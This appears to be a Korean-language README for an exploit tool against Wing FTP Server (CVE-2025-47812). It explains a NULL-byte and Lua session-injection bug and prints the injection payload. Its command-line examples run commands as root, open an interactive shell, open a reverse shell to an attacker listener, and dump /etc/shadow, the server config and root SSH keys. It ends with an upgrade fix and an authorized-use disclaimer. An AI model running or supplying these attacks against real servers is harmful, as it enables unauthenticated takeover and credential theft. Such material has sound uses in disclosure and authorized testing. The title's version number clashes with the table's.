
RCE for WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| 필드 | 세부사항 |
|---|---|
| CVE | CVE-2025-47812 |
| 영향받는 버전 | Wing FTP Server <= 7.4.3 |
| 수정 버전 | Wing FTP Server 7.4.4 |
| CVSS 점수 | 10.0 (치명적) |
| 인증 필요 | 없음 (익명 로그인으로 충분) |
| 획득 권한 | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| 발견자 | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Wing FTP Server의 웹 인터페이스는 사전 인증 없이 원격 코드 실행을 가능하게 하는 2단계 공격에 취약합니다.
Wing FTP 바이너리의 c_CheckUser() 함수는 내부적으로 strlen()을 사용하므로, 사용자 이름 문자열은 첫 번째 NULL 바이트(\x00)에서 잘립니다. 따라서 anonymous%00<임의_데이터>와 같은 사용자 이름은 유효한 사용자(anonymous)가 존재하기만 하면 인증을 통과합니다.
인증 성공 후 loginok.html은 완전히 정제되지 않은 POST 매개변수(즉, NULL 바이트 이후의 모든 내용 포함)를 사용하여 rawset(_SESSION, "username", username)을 호출합니다. 세션은 이후 SessionModule.save()를 통해 Lua 스크립트 파일로 직렬화됩니다.
직렬화 함수는 Lua 긴 문자열 리터럴 [[...]]를 값에 사용하며, 아무런 검사 없이 감싸기 때문에 사용자 이름에 ]]를 삽입하면 문자열 리터럴이 조기 종료되고 세션 파일에 임의의 Lua 코드를 추가할 수 있습니다.
페이로드 구조:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
끝의 --는 Wing FTP가 값 뒤에 추가하는 ]]를 주석 처리합니다.
세션 파일(UID 쿠키 값을 파일 이름으로 사용)은 인증된 엔드포인트에 접근할 때마다 loadfile() + f()를 통해 실행되는 Lua 스크립트입니다. POST /dir.html에 UID 쿠키를 포함하여 보내면 삽입된 Lua 코드가 실행되고, <?xml 콘텐츠 이전에 명령 출력이 응답 본문에 반환됩니다.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Wing FTP Server를 버전 7.4.4 이상으로 업그레이드하세요.
이 도구는 교육 목적 및 승인된 침투 테스트 전용으로 제공됩니다. 이 익스플로잇을 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에서 실행하는 것은 불법이며 비윤리적입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.